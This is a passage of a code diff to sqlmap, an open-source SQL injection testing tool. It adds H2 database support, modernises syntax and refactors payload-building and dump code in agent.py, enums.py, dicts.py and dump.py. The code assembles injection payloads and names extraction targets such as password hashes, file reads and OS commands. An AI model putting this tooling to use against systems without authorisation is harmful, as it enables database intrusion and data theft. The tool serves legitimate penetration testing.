             break
         else:
             conf.dbmsConnector = None

lib/core/agent.py

@@ -43,6 +43,7 @@ from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
+from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.unescaper import unescaper
 
@@ -121,8 +122,8 @@ class Agent(object):
                 origValue = _.split('=', 1)[1] if '=' in _ else ""
         elif place == PLACE.CUSTOM_HEADER:
             paramString = origValue
-            origValue = origValue.split(kb.customInjectionMark)[0]
             origValue = origValue[origValue.find(',') + 1:]
+            origValue = origValue.split(kb.customInjectionMark)[0]
             match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
             if match:
                 origValue = match.group("value")
@@ -142,7 +143,7 @@ class Agent(object):
                     match = re.search(r"\A[^ ]+", newValue)
                     newValue = newValue[len(match.group() if match else ""):]
                     _ = randomInt(2)
-                    value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1)
+                    value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1)
                 elif conf.invalidBignum:
                     value = randomInt(6)
                 elif conf.invalidString:
@@ -198,7 +199,7 @@ class Agent(object):
                 regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
                 retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
             else:
-                retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
+                retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
 
             if retVal == paramString and urlencode(parameter) != parameter:
                 retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
@@ -246,6 +247,9 @@ class Agent(object):
         else:
             query = kb.injection.prefix or prefix or ""
 
+            if "SELECT '[RANDSTR]'" in query:  # escaping of pre-WHERE prefixes
+                query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
+
             if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
                 query += " "
 
@@ -294,22 +298,29 @@ class Agent(object):
         if payload is None:
             return
 
-        _ = (
-                ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
-                ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
-                ("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
-            )
-        payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)
+        replacements = (
+            ("[DELIMITER_START]", kb.chars.start),
+            ("[DELIMITER_STOP]", kb.chars.stop),
+            ("[AT_REPLACE]", kb.chars.at),
+            ("[SPACE_REPLACE]", kb.chars.space),
+            ("[DOLLAR_REPLACE]", kb.chars.dollar),
+            ("[HASH_REPLACE]", kb.chars.hash_),
+            ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
+        )
+        payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)
 
-        for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
+        for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
             payload = payload.replace(_, str(randomInt()))
 
-        for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
+        for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
             payload = payload.replace(_, randomStr())
 
-        if origValue is not None and "[ORIGVALUE]" in payload:
+        if origValue is not None:
             origValue = getUnicode(origValue)
-            payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
+            if "[ORIGVALUE]" in payload:
+                payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
+            if "[ORIGINAL]" in payload:
+                payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
 
         if INFERENCE_MARKER in payload:
             if Backend.getIdentifiedDbms() is not None:
@@ -338,6 +349,7 @@ class Agent(object):
 
         if payload:
             payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
+            payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
 
             for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
                 payload = payload.replace(_, str(randomInt()))
@@ -531,7 +543,7 @@ class Agent(object):
         fieldsToCastStr = fieldsToCastStr or ""
 
         # Function
-        if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
+        if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
             fieldsToCastList = [fieldsToCastStr]
         else:
             fieldsToCastList = splitFields(fieldsToCastStr)
@@ -612,7 +624,7 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -623,7 +635,7 @@ class Agent(object):
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
                 concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
-                concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery)
+                concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
             elif fieldsSelect:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -635,7 +647,7 @@ class Agent(object):
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
                 concatenatedQuery += "+'%s'" % kb.chars.stop
             elif fieldsSelectTop:
-                topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
+                topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
                 concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
                 concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
             elif fieldsSelectCase:
@@ -811,7 +823,7 @@ class Agent(object):
             limitRegExp2 = None
 
         if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
+            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
                 limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                 limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
 
@@ -901,14 +913,14 @@ class Agent(object):
         fromFrom = limitedQuery[fromIndex + 1:]
         orderBy = None
 
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
         elif Backend.isDbms(DBMS.HSQLDB):
             match = re.search(r"ORDER BY [^ ]+", limitedQuery)
             if match:
-                limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip()
+                limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
                 limitedQuery += " %s" % match.group(0)
 
             if query.startswith("SELECT "):
@@ -928,7 +940,7 @@ class Agent(object):
             limitedQuery += " %s" % limitStr
 
         elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
-            if not " ORDER BY " in limitedQuery:
+            if " ORDER BY " not in limitedQuery:
                 limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
             elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
                 limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
@@ -1082,7 +1094,7 @@ class Agent(object):
         if conf.dumpWhere and query:
             prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
 
-            if "%s)" % conf.tbl.upper() in prefix.upper():
+            if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                 prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
             elif re.search(r"(?i)\bWHERE\b", prefix):
                 prefix += " AND %s" % conf.dumpWhere

lib/core/bigarray.py

@@ -6,9 +6,9 @@ See the file 'LICENSE' for copying permission
 """
 
 try:
-   import cPickle as pickle
+    import cPickle as pickle
 except:
-   import pickle
+    import pickle
 
 import bz2
 import itertools
@@ -90,7 +90,7 @@ class BigArray(list):
             except IOError, ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex.message
-                raise SqlmapSystemException, errMsg
+                raise SqlmapSystemException(errMsg)
 
         return self.chunks[-1].pop()
 
@@ -115,7 +115,7 @@ class BigArray(list):
             errMsg += "make sure that there is enough disk space left. If problem persists, "
             errMsg += "try to set environment variable 'TEMP' to a location "
             errMsg += "writeable by the current user"
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)
 
     def _checkcache(self, index):
         if (self.cache and self.cache.index != index and self.cache.dirty):
@@ -126,10 +126,10 @@ class BigArray(list):
             try:
                 with open(self.chunks[index], "rb") as f:
                     self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
-            except IOError, ex:
+            except Exception, ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex.message
-                raise SqlmapSystemException, errMsg
+                raise SqlmapSystemException(errMsg)
 
     def __getstate__(self):
         return self.chunks, self.filenames

lib/core/convert.py

@@ -80,7 +80,7 @@ def base64unpickle(value, unsafe=False):
         if len(self.stack) > 1:
             func = self.stack[-2]
             if func not in PICKLE_REDUCE_WHITELIST:
-                raise Exception, "abusing reduce() is bad, Mkay!"
+                raise Exception("abusing reduce() is bad, Mkay!")
         self.load_reduce()
 
     def loads(str):
@@ -94,7 +94,7 @@ def base64unpickle(value, unsafe=False):
 
     try:
         retVal = loads(base64decode(value))
-    except TypeError: 
+    except TypeError:
         retVal = loads(base64decode(bytes(value)))
 
     return retVal
@@ -174,7 +174,7 @@ def htmlunescape(value):
             pass
     return retVal
 
-def singleTimeWarnMessage(message):  # Cross-linked function
+def singleTimeWarnMessage(message):  # Cross-referenced function
     sys.stdout.write(message)
     sys.stdout.write("\n")
     sys.stdout.flush()

lib/core/decorators.py

@@ -7,6 +7,8 @@ See the file 'LICENSE' for copying permission
 
 import hashlib
 
+from lib.core.threads import getCurrentThreadData
+
 def cachedmethod(f, cache={}):
     """
     Method with a cached content
@@ -15,10 +17,25 @@ def cachedmethod(f, cache={}):
     """
 
     def _(*args, **kwargs):
-        key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16)
+        key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff
         if key not in cache:
             cache[key] = f(*args, **kwargs)
 
         return cache[key]
 
     return _
+
+def stackedmethod(f):
+    def _(*args, **kwargs):
+        threadData = getCurrentThreadData()
+        originalLevel = len(threadData.valueStack)
+
+        try:
+            result = f(*args, **kwargs)
+        finally:
+            if len(threadData.valueStack) > originalLevel:
+                threadData.valueStack = threadData.valueStack[:originalLevel]
+
+        return result
+
+    return _

lib/core/defaults.py

@@ -8,20 +8,20 @@ See the file 'LICENSE' for copying permission
 from lib.core.datatype import AttribDict
 
 _defaults = {
-   "csvDel":       ',',
-   "timeSec":      5,
-   "googlePage":   1,
-   "verbose":      1,
-   "delay":        0,
-   "timeout":      30,
-   "retries":      3,
-   "saFreq":       0,
-   "threads":      1,
-   "level":        1,
-   "risk":         1,
-   "dumpFormat":   "CSV",
-   "tech":         "BEUSTQ",
-   "torType":      "SOCKS5",
+    "csvDel": ',',
+    "timeSec": 5,
+    "googlePage": 1,
+    "verbose": 1,
+    "delay": 0,
+    "timeout": 30,
+    "retries": 3,
+    "saFreq": 0,
+    "threads": 1,
+    "level": 1,
+    "risk": 1,
+    "dumpFormat": "CSV",
+    "tech": "BEUSTQ",
+    "torType": "SOCKS5",
 }
 
 defaults = AttribDict(_defaults)

lib/core/dicts.py

@@ -5,6 +5,7 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import OS
 from lib.core.enums import POST_HINT
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import H2_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 
 FIREBIRD_TYPES = {
@@ -194,6 +196,7 @@ DBMS_DICT = {
     DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
     DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
     DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
+    DBMS.H2: (H2_ALIASES, None, None, None),
     DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
 }
 
@@ -208,54 +211,64 @@ FROM_DUMMY_TABLE = {
 }
 
 SQL_STATEMENTS = {
-    "SQL SELECT statement":  (
-            "select ",
-            "show ",
-            " top ",
-            " distinct ",
-            " from ",
-            " from dual",
-            " where ",
-            " group by ",
-            " order by ",
-            " having ",
-            " limit ",
-            " offset ",
-            " union all ",
-            " rownum as ",
-            "(case ",        ),
+    "SQL SELECT statement": (
+        "select ",
+        "show ",
+        " top ",
+        " distinct ",
+        " from ",
+        " from dual",
+        " where ",
+        " group by ",
+        " order by ",
+        " having ",
+        " limit ",
+        " offset ",
+        " union all ",
+        " rownum as ",
+        "(case ",
+    ),
 
-    "SQL data definition":   (
+    "SQL data definition": (
         "create ",
         "declare ",
         "drop ",
         "truncate ",
-        "alter ",            ),
+        "alter ",
+    ),
 
     "SQL data manipulation": (
-            "bulk ",
-            "insert ",
-            "update ",
-            "delete ",
-            "merge ",
-            "load ",         ),
+        "bulk ",
+        "insert ",
+        "update ",
+        "delete ",
+        "merge ",
+        "load ",
+    ),
 
-    "SQL data control":      (
-            "grant ",
-            "revoke ",       ),
+    "SQL data control": (
+        "grant ",
+        "revoke ",
+    ),
 
-    "SQL data execution":    (
-            "exec ",
-            "execute ",
-            "values ", 
-            "call ",         ),
+    "SQL data execution": (
+        "exec ",
+        "execute ",
+        "values ",
+        "call ",
+    ),
 
-    "SQL transaction":       (
-            "start transaction ",
-            "begin work ",
-            "begin transaction ",
-            "commit ",
-            "rollback ",     ),
+    "SQL transaction": (
+        "start transaction ",
+        "begin work ",
+        "begin transaction ",
+        "commit ",
+        "rollback ",
+    ),
+
+    "SQL administration": (
+        "set ",
+    ),
 }
 
 POST_HINT_CONTENT_TYPES = {
@@ -273,6 +286,8 @@ DEPRECATED_OPTIONS = {
     "--binary": "use '--binary-fields' instead",
     "--auth-private": "use '--auth-file' instead",
     "--ignore-401": "use '--ignore-code' instead",
+    "--second-order": "use '--second-url' instead",
+    "--purge-output": "use '--purge' instead",
     "--check-payload": None,
     "--check-waf": None,
     "--pickled-options": "use '--api -c ...' instead",
@@ -287,3 +302,31 @@ DEFAULT_DOC_ROOTS = {
     OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
     OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
 }
+
+PART_RUN_CONTENT_TYPES = {
+    "checkDbms": CONTENT_TYPE.TECHNIQUES,
+    "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
+    "getBanner": CONTENT_TYPE.BANNER,
+    "getCurrentUser": CONTENT_TYPE.CURRENT_USER,
+    "getCurrentDb": CONTENT_TYPE.CURRENT_DB,
+    "getHostname": CONTENT_TYPE.HOSTNAME,
+    "isDba": CONTENT_TYPE.IS_DBA,
+    "getUsers": CONTENT_TYPE.USERS,
+    "getPasswordHashes": CONTENT_TYPE.PASSWORDS,
+    "getPrivileges": CONTENT_TYPE.PRIVILEGES,
+    "getRoles": CONTENT_TYPE.ROLES,
+    "getDbs": CONTENT_TYPE.DBS,
+    "getTables": CONTENT_TYPE.TABLES,
+    "getColumns": CONTENT_TYPE.COLUMNS,
+    "getSchema": CONTENT_TYPE.SCHEMA,
+    "getCount": CONTENT_TYPE.COUNT,
+    "dumpTable": CONTENT_TYPE.DUMP_TABLE,
+    "search": CONTENT_TYPE.SEARCH,
+    "sqlQuery": CONTENT_TYPE.SQL_QUERY,
+    "tableExists": CONTENT_TYPE.COMMON_TABLES,
+    "columnExists": CONTENT_TYPE.COMMON_COLUMNS,
+    "readFile": CONTENT_TYPE.FILE_READ,
+    "writeFile": CONTENT_TYPE.FILE_WRITE,
+    "osCmd": CONTENT_TYPE.OS_CMD,
+    "regRead": CONTENT_TYPE.REG_READ
+}

lib/core/dump.py

@@ -46,6 +46,8 @@ from lib.core.settings import METADB_SUFFIX
 from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
 from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
 from lib.core.settings import UNICODE_ENCODING
+from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
+from lib.core.settings import VERSION_STRING
 from lib.core.settings import WINDOWS_RESERVED_NAMES
 from thirdparty.magic import magic
 
@@ -169,7 +171,7 @@ class Dump(object):
     def currentDb(self, data):
         if Backend.isDbms(DBMS.MAXDB):
             self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
             self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
         else:
             self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -414,16 +416,16 @@ class Dump(object):
         elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
             if not os.path.isdir(dumpDbPath):
                 try:
-                    os.makedirs(dumpDbPath, 0755)
+                    os.makedirs(dumpDbPath)
                 except:
                     warnFile = True
 
-                    _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))
+                    _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
                     dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
 
                     if not os.path.isdir(dumpDbPath):
                         try:
-                            os.makedirs(dumpDbPath, 0755)
+                            os.makedirs(dumpDbPath)
                         except Exception, ex:
                             try:
                                 tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
@@ -441,7 +443,7 @@ class Dump(object):
 
                             dumpDbPath = tempDir
 
-            dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
+            dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
             if not checkFile(dumpFileName, False):
                 try:
                     openFile(dumpFileName, "w+b").close()
@@ -450,9 +452,9 @@ class Dump(object):
                 except:
                     warnFile = True
 
-                    _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
+                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
                     if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
-                        _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table)))
+                        _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
                         dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                     else:
                         dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
@@ -531,6 +533,7 @@ class Dump(object):
         elif conf.dumpFormat == DUMP_FORMAT.HTML:
             dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
             dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
+            dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
             dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
             dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
             dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
@@ -611,9 +614,9 @@ class Dump(object):
                             mimetype = magic.from_buffer(value, mime=True)
                             if any(mimetype.startswith(_) for _ in ("application", "image")):
                                 if not os.path.isdir(dumpDbPath):
-                                    os.makedirs(dumpDbPath, 0755)
+                                    os.makedirs(dumpDbPath)
 
-                                _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
+                                _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
                                 filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
                                 warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                                 logger.warn(warnMsg)

lib/core/enums.py

@@ -22,6 +22,15 @@ class SORT_ORDER:
     FIFTH = 4
     LAST = 100
 
+# Reference: https://docs.python.org/2/library/logging.html#logging-levels
+class LOGGING_LEVELS:
+    NOTSET = 0
+    DEBUG = 10
+    INFO = 20
+    WARNING = 30
+    ERROR = 40
+    CRITICAL = 50
+
 class DBMS:
     ACCESS = "Microsoft Access"
     DB2 = "IBM DB2"
@@ -34,6 +43,7 @@ class DBMS:
     SQLITE = "SQLite"
     SYBASE = "Sybase"
     HSQLDB = "HSQLDB"
+    H2 = "H2"
     INFORMIX = "Informix"
 
 class DBMS_DIRECTORY_NAME:
@@ -48,6 +58,7 @@ class DBMS_DIRECTORY_NAME:
     SQLITE = "sqlite"
     SYBASE = "sybase"
     HSQLDB = "hsqldb"
+    H2 = "h2"
     INFORMIX = "informix"
 
 class CUSTOM_LOGGING:
@@ -233,40 +244,42 @@ class REDIRECTION:
 
 class PAYLOAD:
     SQLINJECTION = {
-                        1: "boolean-based blind",
-                        2: "error-based",
-                        3: "inline query",
-                        4: "stacked queries",
-                        5: "AND/OR time-based blind",
-                        6: "UNION query",
-                   }
+        1: "boolean-based blind",
+        2: "error-based",
+        3: "inline query",
+        4: "stacked queries",
+        5: "AND/OR time-based blind",
+        6: "UNION query",
+    }
 
     PARAMETER = {
-                    1: "Unescaped numeric",
-                    2: "Single quoted string",
-                    3: "LIKE single quoted string",
-                    4: "Double quoted string",
-                    5: "LIKE double quoted string",
-                }
+        1: "Unescaped numeric",
+        2: "Single quoted string",
+        3: "LIKE single quoted string",
+        4: "Double quoted string",
+        5: "LIKE double quoted string",
+        6: "Identifier (e.g. column name)",
+    }
 
     RISK = {
-                0: "No risk",
-                1: "Low risk",
-                2: "Medium risk",
-                3: "High risk",
-           }
+        0: "No risk",
+        1: "Low risk",
+        2: "Medium risk",
+        3: "High risk",
+    }
 
     CLAUSE = {
-                0: "Always",
-                1: "WHERE",
-                2: "GROUP BY",
-                3: "ORDER BY",
-                4: "LIMIT",
-                5: "OFFSET",
-                6: "TOP",
-                7: "Table name",
-                8: "Column name",
-             }
+        0: "Always",
+        1: "WHERE",
+        2: "GROUP BY",
+        3: "ORDER BY",
+        4: "LIMIT",
+        5: "OFFSET",
+        6: "TOP",
+        7: "Table name",
+        8: "Column name",
+        9: "Pre-WHERE (non-query)",
+    }
 
     class METHOD:
         COMPARISON = "comparison"
@@ -331,34 +344,6 @@ class CONTENT_TYPE:
     OS_CMD = 24
     REG_READ = 25
 
-PART_RUN_CONTENT_TYPES = {
-    "checkDbms": CONTENT_TYPE.TECHNIQUES,
-    "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
-    "getBanner": CONTENT_TYPE.BANNER,
-    "getCurrentUser": CONTENT_TYPE.CURRENT_USER,
-    "getCurrentDb": CONTENT_TYPE.CURRENT_DB,
-    "getHostname": CONTENT_TYPE.HOSTNAME,
-    "isDba": CONTENT_TYPE.IS_DBA,
-    "getUsers": CONTENT_TYPE.USERS,
-    "getPasswordHashes": CONTENT_TYPE.PASSWORDS,
-    "getPrivileges": CONTENT_TYPE.PRIVILEGES,
-    "getRoles": CONTENT_TYPE.ROLES,
-    "getDbs": CONTENT_TYPE.DBS,
-    "getTables": CONTENT_TYPE.TABLES,
-    "getColumns": CONTENT_TYPE.COLUMNS,
-    "getSchema": CONTENT_TYPE.SCHEMA,
-    "getCount": CONTENT_TYPE.COUNT,
-    "dumpTable": CONTENT_TYPE.DUMP_TABLE,
-    "search": CONTENT_TYPE.SEARCH,
-    "sqlQuery": CONTENT_TYPE.SQL_QUERY,
-    "tableExists": CONTENT_TYPE.COMMON_TABLES,
-    "columnExists": CONTENT_TYPE.COMMON_COLUMNS,
-    "readFile": CONTENT_TYPE.FILE_READ,
-    "writeFile": CONTENT_TYPE.FILE_WRITE,
-    "osCmd": CONTENT_TYPE.OS_CMD,
-    "regRead": CONTENT_TYPE.REG_READ
-}
-
 class CONTENT_STATUS:
     IN_PROGRESS = 0
     COMPLETE = 1
@@ -373,6 +358,7 @@ class AUTOCOMPLETE_TYPE:
     SQL = 0
     OS = 1
     SQLMAP = 2
+    API = 3
 
 class NOTE:
     FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
@@ -392,3 +378,7 @@ class TIMEOUT_STATE:
     NORMAL = 0
     EXCEPTION = 1
     TIMEOUT = 2
+
+class HINT:
+    PREPEND = 0
+    APPEND = 1

lib/core/option.py

@@ -5,12 +5,10 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import binascii
 import cookielib
 import glob
 import inspect
 import logging
-import httplib
 import os
 import random
 import re
@@ -37,19 +35,16 @@ from lib.core.common import checkFile
 from lib.core.common import dataToStdout
 from lib.core.common import getPublicTypeMembers
 from lib.core.common import getSafeExString
-from lib.core.common import extractRegexResult
-from lib.core.common import filterStringValue
 from lib.core.common import findLocalPort
 from lib.core.common import findPageForms
 from lib.core.common import getConsoleWidth
 from lib.core.common import getFileItems
 from lib.core.common import getFileType
-from lib.core.common import getUnicode
 from lib.core.common import normalizePath
 from lib.core.common import ntToPosixSlashes
 from lib.core.common import openFile
+from lib.core.common import parseRequestFile
 from lib.core.common import parseTargetDirect
-from lib.core.common import parseTargetUrl
 from lib.core.common import paths
 from lib.core.common import randomStr
 from lib.core.common import readCachedFileContent
